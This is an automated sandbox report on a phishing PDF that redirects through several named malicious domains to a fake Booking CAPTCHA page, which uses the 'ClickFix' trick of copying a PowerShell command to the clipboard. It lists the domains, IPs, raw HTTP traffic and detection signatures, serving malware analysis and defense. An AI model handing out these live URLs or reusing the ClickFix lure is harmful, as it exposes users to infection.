Edit tour

Windows Analysis Report
shJGPJRkwH.pdf

Overview

General Information

Sample name:	shJGPJRkwH.pdf renamed because original name is a hash value
Original sample name:	71c6dd7199d2355c6d7bee5b2b59367e9661430f66cb5e4a6bd0c2bf287d3cd4.pdf
Analysis ID:	1592938
MD5:	5d9644d626b822a22090c7544efbd4ec
SHA1:	ffaf93f909c182753d1a8ff01dff2b0739bad162
SHA256:	71c6dd7199d2355c6d7bee5b2b59367e9661430f66cb5e4a6bd0c2bf287d3cd4
Tags:	bookingItalianPastapdfuser-JAMESWT_MHT
Infos:

Errors Corrupt sample or wrongly selected analyzer.

Detection

CAPTCHA Scam ClickFix

Score:	84
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

AI detected phishing page

Detect drive by download via clipboard copy & paste

Suricata IDS alerts for network traffic

Yara detected CAPTCHA Scam ClickFix

AI detected landing page (webpage, office document or email)

AI detected suspicious Javascript

AI detected suspicious URL

Creates files inside the system directory

Deletes files inside the Windows folder

Detected non-DNS traffic on DNS port

IP address seen in connection with other malware

PDF has an OpenAction (likely to launch a dropper script)

Classification

Process Tree

System is w10x64

Acrobat.exe (PID: 6476 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\Desktop\shJGPJRkwH.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 1964 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 7212 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2148 --field-trial-handle=1508,i,12047917609770271542,12989106343411869346,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

chrome.exe (PID: 1368 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "https://clintonmakes.com/215c/#mrzltabnxnf1v7h1hxqcxp" MD5: 5BBFA6CBDF4C254EB368D534F9E23C92)

chrome.exe (PID: 6464 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2212 --field-trial-handle=1908,i,8825835104048177361,13493979304147720564,262144 /prefetch:8 MD5: 5BBFA6CBDF4C254EB368D534F9E23C92)

cleanup

Yara Signatures

Dropped Files

Source	Rule	Description	Author	Strings
dropped/chromecache_194	JoeSecurity_CAPTCHAScam	Yara detected CAPTCHA Scam/ ClickFix	Joe Security

HTML

Source	Rule	Description	Author	Strings
2.1.pages.csv	JoeSecurity_CAPTCHAScam	Yara detected CAPTCHA Scam/ ClickFix	Joe Security

Suricata Signatures

ETPRO MALWARE Observed ClickFix Powershell Delivery Page Inbound

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-16T17:16:22.838256+0100	2859486	1	A Network Trojan was detected	104.21.94.195	443	192.168.2.7	49731	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

Phishing

AI detected phishing page

Source: https://fixecondfirbook.info/

Joe Sandbox AI: Score: 9 Reasons: The brand 'Booking' is well-known and is associated with the legitimate domain 'booking.com'., The URL 'fixecondfirbook.info' does not match the legitimate domain 'booking.com'., The URL contains suspicious elements such as misspellings and unusual domain extension '.info'., The domain name 'fixecondfirbook.info' does not have any clear association with the brand 'Booking'., The presence of unrelated or misspelled words in the domain name is a common phishing tactic. DOM: 2.1.pages.csv

Yara detected CAPTCHA Scam ClickFix

Source: Yara match	File source: 2.1.pages.csv, type: HTML
Source: Yara match	File source: dropped/chromecache_194, type: DROPPED

AI detected landing page (webpage, office document or email)

Source: PDF document

Joe Sandbox AI: PDF document contains prominent button: 'view complaint'

AI detected suspicious Javascript

Source: 0.1.id.script.csv	Joe Sandbox AI: Detected suspicious JavaScript with source url: https://fixecondfirbook.info/... This script demonstrates several high-risk behaviors, including dynamic code execution, data exfiltration, and obfuscated code/URLs. The `copyToClipboard()` function generates a command that could be used for malicious purposes, and the script also manipulates the DOM to hide the reCAPTCHA checkbox and display a custom SVG element. These behaviors, combined with the suspicious intent and lack of transparency, indicate a high-risk script that should be further investigated.
Source: 0.0.id.script.csv	Joe Sandbox AI: Detected suspicious JavaScript with source url: https://clintonmakes.com/215c/#mrzltabnxnf1v7h1hxq... This script demonstrates high-risk behavior, including dynamic code execution and data exfiltration. The use of the `window.onerror` event handler to call the `process()` function, which then redirects the user to an external domain, is a strong indicator of malicious intent. Additionally, the obfuscated variable name `a06688` suggests an attempt to conceal the script's purpose. Overall, this script poses a significant security risk and should be treated with caution.

AI detected suspicious URL

Source: URL	Joe Sandbox AI: AI detected Brand spoofing attempt in URL: https://fixecondfirbook.info
Source: URL	Joe Sandbox AI: AI detected Typosquatting in URL: https://fixecondfirbook.info

Source: https://fixecondfirbook.info/

HTTP Parser: No favicon

Networking

Suricata IDS alerts for network traffic

Source: Network traffic

Suricata IDS: 2859486 - Severity 1 - ETPRO MALWARE Observed ClickFix Powershell Delivery Page Inbound : 104.21.94.195:443 -> 192.168.2.7:49731

Source: global traffic

TCP traffic: 192.168.2.7:63406 -> 1.1.1.1:53

Source: Joe Sandbox View	IP Address: 104.21.94.195 104.21.94.195
Source: Joe Sandbox View	IP Address: 18.245.31.53 18.245.31.53
Source: Joe Sandbox View	IP Address: 66.63.187.216 66.63.187.216

Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.253.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.253.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.253.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.253.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.253.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.253.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.253.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.253.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.253.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.253.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.253.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.253.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.253.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.253.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.253.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.253.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.253.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.253.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.253.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.253.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.253.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.253.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.253.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.253.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.253.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.253.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.253.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.253.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.253.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.253.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.253.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.253.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.253.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.253.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.253.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.253.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.253.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.253.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.253.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.253.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.253.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.253.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.253.45
Source: unknown	TCP traffic detected without corresponding DNS query: 20.50.201.200
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.253.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.253.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.253.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.253.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.253.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.253.45

Source: global traffic	HTTP traffic detected: GET /215c/ HTTP/1.1Host: clintonmakes.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /bookid82291 HTTP/1.1Host: minedudiser.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: documentReferer: http://clintonmakes.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: fixecondfirbook.infoConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: documentsec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Referer: http://clintonmakes.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /languageRevert.js HTTP/1.1Host: fixecondfirbook.infoConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://fixecondfirbook.info/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /captchaHandler.js HTTP/1.1Host: fixecondfirbook.infoConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://fixecondfirbook.info/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /languageRevert.js HTTP/1.1Host: fixecondfirbook.infoConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /backend_static/common/flags/new/48-squared/us.png HTTP/1.1Host: q-xx.bstatic.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://fixecondfirbook.info/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /captchaHandler.js HTTP/1.1Host: fixecondfirbook.infoConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /favicon.ico HTTP/1.1Host: fixecondfirbook.infoConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://fixecondfirbook.info/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /backend_static/common/flags/new/48-squared/us.png HTTP/1.1Host: q-xx.bstatic.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /favicon.ico HTTP/1.1Host: fixecondfirbook.infoConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /send-ip HTTP/1.1Host: fixecondfirbook.infoConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Microsoft-CryptoAPI/10.0Host: x1.i.lencr.org
Source: global traffic	HTTP traffic detected: GET /215c/ HTTP/1.1Host: clintonmakes.comConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9Cookie: f5510ad44=0ad448213ea0
Source: global traffic	HTTP traffic detected: GET /favicon.ico HTTP/1.1Host: clintonmakes.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Referer: http://clintonmakes.com/215c/Accept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9

Source: global traffic	DNS traffic detected: DNS query: x1.i.lencr.org
Source: global traffic	DNS traffic detected: DNS query: clintonmakes.com
Source: global traffic	DNS traffic detected: DNS query: minedudiser.com
Source: global traffic	DNS traffic detected: DNS query: fixecondfirbook.info
Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: q-xx.bstatic.com
Source: global traffic	DNS traffic detected: DNS query: a.nel.cloudflare.com

Source: unknown

HTTP traffic detected: POST /send-ip HTTP/1.1Host: fixecondfirbook.infoConnection: keep-aliveContent-Length: 0sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: */*Origin: https://fixecondfirbook.infoSec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://fixecondfirbook.info/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9

Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 16 Jan 2025 16:17:38 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeX-Powered-By: ExpressContent-Security-Policy: default-src 'none'X-Content-Type-Options: nosniffcf-cache-status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=%2FhZvlsXb8cBwtXwAKke%2BLKPkPlfPIVqN7mEmxotuSzdOTPYuqz4v5t0vw5LqedK2hnO9mrrA396hZBM4UzngHbIedsFAX8AlwOFD53x8%2B65LHWH3WR0oH5uQZrBE3wriXdD1zUen6Q%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 902f6ab45a19ab12-YYZalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=13917&min_rtt=13901&rtt_var=5245&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2853&recv_bytes=929&delivery_rate=208125&cwnd=32&unsent_bytes=0&cid=7b080a847504fd3a&ts=374&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 16 Jan 2025 16:16:20 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedserver: Apache/2.4.37 (Rocky Linux)Content-Encoding: gzipData Raw: 61 38 0d 0a 1f 8b 08 00 00 00 00 00 00 03 4d ce 4d 0f 82 30 0c 06 e0 bf 52 b9 4b d1 70 6c 76 90 8f 48 82 48 cc 38 78 c4 ac 04 12 64 c8 86 c6 7f ef 74 17 2f 4d da f7 c9 9b d2 26 3d 27 f2 5a 67 70 94 a7 12 ea e6 50 16 09 04 5b c4 22 93 39 62 2a 53 9f ec c3 08 31 ab 02 41 bd bd 8f 6e 72 ab 04 d9 c1 8e 2c e2 28 86 4a 5b c8 f5 3a 29 42 7f 24 f4 e4 a6 d5 db f1 9d f8 13 6e a3 59 c8 9e 61 e1 c7 ca c6 b2 82 e6 52 c2 ab 35 30 39 d6 7d 19 e8 09 6c 3f 18 30 bc 3c 79 09 09 67 57 ea eb f0 f7 04 7c 00 b6 fe c5 76 be 00 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: a8MM0RKplvHH8xdt/M&='ZgpP["9b*S1Anr,(J[:)B$nYaR509}l?0<ygW\|v0

Source: 77EC63BDA74BD0D0E0426DC8F80085060.2.dr	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: 2D85F72862B55C4EADD9E66E06947F3D0.2.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: sets.json.10.dr	String found in binary or memory: https://07c225f3.online
Source: sets.json.10.dr	String found in binary or memory: https://24.hu
Source: sets.json.10.dr	String found in binary or memory: https://aajtak.in
Source: sets.json.10.dr	String found in binary or memory: https://abczdrowie.pl
Source: sets.json.10.dr	String found in binary or memory: https://alice.tw
Source: sets.json.10.dr	String found in binary or memory: https://ambitionbox.com
Source: sets.json.10.dr	String found in binary or memory: https://autobild.de
Source: sets.json.10.dr	String found in binary or memory: https://baomoi.com
Source: sets.json.10.dr	String found in binary or memory: https://bild.de
Source: sets.json.10.dr	String found in binary or memory: https://blackrock.com
Source: sets.json.10.dr	String found in binary or memory: https://blackrockadvisorelite.it
Source: sets.json.10.dr	String found in binary or memory: https://bluradio.com
Source: sets.json.10.dr	String found in binary or memory: https://bolasport.com
Source: sets.json.10.dr	String found in binary or memory: https://bonvivir.com
Source: sets.json.10.dr	String found in binary or memory: https://bumbox.com
Source: sets.json.10.dr	String found in binary or memory: https://businessinsider.com.pl
Source: sets.json.10.dr	String found in binary or memory: https://businesstoday.in
Source: sets.json.10.dr	String found in binary or memory: https://cachematrix.com
Source: sets.json.10.dr	String found in binary or memory: https://cafemedia.com
Source: sets.json.10.dr	String found in binary or memory: https://caracoltv.com
Source: sets.json.10.dr	String found in binary or memory: https://carcostadvisor.be
Source: sets.json.10.dr	String found in binary or memory: https://carcostadvisor.com
Source: sets.json.10.dr	String found in binary or memory: https://carcostadvisor.fr
Source: sets.json.10.dr	String found in binary or memory: https://cardsayings.net
Source: sets.json.10.dr	String found in binary or memory: https://chatbot.com
Source: sets.json.10.dr	String found in binary or memory: https://chennien.com
Source: sets.json.10.dr	String found in binary or memory: https://citybibleforum.org
Source: sets.json.10.dr	String found in binary or memory: https://clarosports.com
Source: shJGPJRkwH.pdf	String found in binary or memory: https://clintonmakes.com/215c/#mrzltabnxnf1v7h1hxqcxp)
Source: sets.json.10.dr	String found in binary or memory: https://clmbtech.com
Source: sets.json.10.dr	String found in binary or memory: https://closeronline.co.uk
Source: sets.json.10.dr	String found in binary or memory: https://clubelpais.com.uy
Source: sets.json.10.dr	String found in binary or memory: https://cmxd.com.mx
Source: sets.json.10.dr	String found in binary or memory: https://cognitive-ai.ru
Source: sets.json.10.dr	String found in binary or memory: https://cognitiveai.ru
Source: sets.json.10.dr	String found in binary or memory: https://commentcamarche.com
Source: sets.json.10.dr	String found in binary or memory: https://commentcamarche.net
Source: sets.json.10.dr	String found in binary or memory: https://computerbild.de
Source: sets.json.10.dr	String found in binary or memory: https://content-loader.com
Source: sets.json.10.dr	String found in binary or memory: https://cookreactor.com
Source: sets.json.10.dr	String found in binary or memory: https://cricbuzz.com
Source: sets.json.10.dr	String found in binary or memory: https://css-load.com
Source: sets.json.10.dr	String found in binary or memory: https://deccoria.pl
Source: sets.json.10.dr	String found in binary or memory: https://deere.com
Source: sets.json.10.dr	String found in binary or memory: https://desimartini.com
Source: sets.json.10.dr	String found in binary or memory: https://dewarmsteweek.be
Source: sets.json.10.dr	String found in binary or memory: https://drimer.io
Source: sets.json.10.dr	String found in binary or memory: https://drimer.travel
Source: sets.json.10.dr	String found in binary or memory: https://economictimes.com
Source: shJGPJRkwH.pdf	String found in binary or memory: https://edmonton.ctvnews.ca/news-links/#gyny)
Source: sets.json.10.dr	String found in binary or memory: https://een.be
Source: sets.json.10.dr	String found in binary or memory: https://efront.com
Source: sets.json.10.dr	String found in binary or memory: https://eleconomista.net
Source: sets.json.10.dr	String found in binary or memory: https://elfinancierocr.com
Source: sets.json.10.dr	String found in binary or memory: https://elgrafico.com
Source: sets.json.10.dr	String found in binary or memory: https://ella.sv
Source: sets.json.10.dr	String found in binary or memory: https://elpais.com.uy
Source: sets.json.10.dr	String found in binary or memory: https://elpais.uy
Source: sets.json.10.dr	String found in binary or memory: https://etfacademy.it
Source: sets.json.10.dr	String found in binary or memory: https://eworkbookcloud.com
Source: sets.json.10.dr	String found in binary or memory: https://eworkbookrequest.com
Source: sets.json.10.dr	String found in binary or memory: https://fakt.pl
Source: sets.json.10.dr	String found in binary or memory: https://finn.no
Source: sets.json.10.dr	String found in binary or memory: https://firstlook.biz
Source: sets.json.10.dr	String found in binary or memory: https://gallito.com.uy
Source: sets.json.10.dr	String found in binary or memory: https://geforcenow.com
Source: sets.json.10.dr	String found in binary or memory: https://gettalkdesk.com
Source: sets.json.10.dr	String found in binary or memory: https://gliadomain.com
Source: sets.json.10.dr	String found in binary or memory: https://gnttv.com
Source: sets.json.10.dr	String found in binary or memory: https://graziadaily.co.uk
Source: sets.json.10.dr	String found in binary or memory: https://grid.id
Source: sets.json.10.dr	String found in binary or memory: https://gridgames.app
Source: sets.json.10.dr	String found in binary or memory: https://growthrx.in
Source: sets.json.10.dr	String found in binary or memory: https://grupolpg.sv
Source: sets.json.10.dr	String found in binary or memory: https://gujaratijagran.com
Source: sets.json.10.dr	String found in binary or memory: https://hapara.com
Source: sets.json.10.dr	String found in binary or memory: https://hazipatika.com
Source: sets.json.10.dr	String found in binary or memory: https://hc1.com
Source: sets.json.10.dr	String found in binary or memory: https://hc1.global
Source: sets.json.10.dr	String found in binary or memory: https://hc1cas.com
Source: sets.json.10.dr	String found in binary or memory: https://hc1cas.global
Source: sets.json.10.dr	String found in binary or memory: https://healthshots.com
Source: sets.json.10.dr	String found in binary or memory: https://hearty.app
Source: sets.json.10.dr	String found in binary or memory: https://hearty.gift
Source: sets.json.10.dr	String found in binary or memory: https://hearty.me
Source: sets.json.10.dr	String found in binary or memory: https://heartymail.com
Source: sets.json.10.dr	String found in binary or memory: https://heatworld.com
Source: sets.json.10.dr	String found in binary or memory: https://helpdesk.com
Source: sets.json.10.dr	String found in binary or memory: https://hindustantimes.com
Source: sets.json.10.dr	String found in binary or memory: https://hj.rs
Source: sets.json.10.dr	String found in binary or memory: https://hjck.com
Source: sets.json.10.dr	String found in binary or memory: https://html-load.cc
Source: sets.json.10.dr	String found in binary or memory: https://html-load.com
Source: sets.json.10.dr	String found in binary or memory: https://human-talk.org
Source: sets.json.10.dr	String found in binary or memory: https://idbs-cloud.com
Source: sets.json.10.dr	String found in binary or memory: https://idbs-dev.com
Source: sets.json.10.dr	String found in binary or memory: https://idbs-eworkbook.com
Source: sets.json.10.dr	String found in binary or memory: https://idbs-staging.com
Source: sets.json.10.dr	String found in binary or memory: https://img-load.com
Source: sets.json.10.dr	String found in binary or memory: https://indiatimes.com
Source: sets.json.10.dr	String found in binary or memory: https://indiatoday.in
Source: sets.json.10.dr	String found in binary or memory: https://indiatodayne.in
Source: sets.json.10.dr	String found in binary or memory: https://infoedgeindia.com
Source: sets.json.10.dr	String found in binary or memory: https://interia.pl
Source: sets.json.10.dr	String found in binary or memory: https://intoday.in
Source: sets.json.10.dr	String found in binary or memory: https://iolam.it
Source: sets.json.10.dr	String found in binary or memory: https://ishares.com
Source: sets.json.10.dr	String found in binary or memory: https://jagran.com
Source: sets.json.10.dr	String found in binary or memory: https://johndeere.com
Source: sets.json.10.dr	String found in binary or memory: https://journaldesfemmes.com
Source: sets.json.10.dr	String found in binary or memory: https://journaldesfemmes.fr
Source: sets.json.10.dr	String found in binary or memory: https://journaldunet.com
Source: sets.json.10.dr	String found in binary or memory: https://journaldunet.fr
Source: sets.json.10.dr	String found in binary or memory: https://joyreactor.cc
Source: sets.json.10.dr	String found in binary or memory: https://joyreactor.com
Source: sets.json.10.dr	String found in binary or memory: https://kaksya.in
Source: sets.json.10.dr	String found in binary or memory: https://knowledgebase.com
Source: sets.json.10.dr	String found in binary or memory: https://kompas.com
Source: sets.json.10.dr	String found in binary or memory: https://kompas.tv
Source: sets.json.10.dr	String found in binary or memory: https://kompasiana.com
Source: sets.json.10.dr	String found in binary or memory: https://lanacion.com.ar
Source: sets.json.10.dr	String found in binary or memory: https://landyrev.com
Source: sets.json.10.dr	String found in binary or memory: https://landyrev.ru
Source: sets.json.10.dr	String found in binary or memory: https://laprensagrafica.com
Source: sets.json.10.dr	String found in binary or memory: https://lateja.cr
Source: sets.json.10.dr	String found in binary or memory: https://libero.it
Source: sets.json.10.dr	String found in binary or memory: https://linternaute.com
Source: sets.json.10.dr	String found in binary or memory: https://linternaute.fr
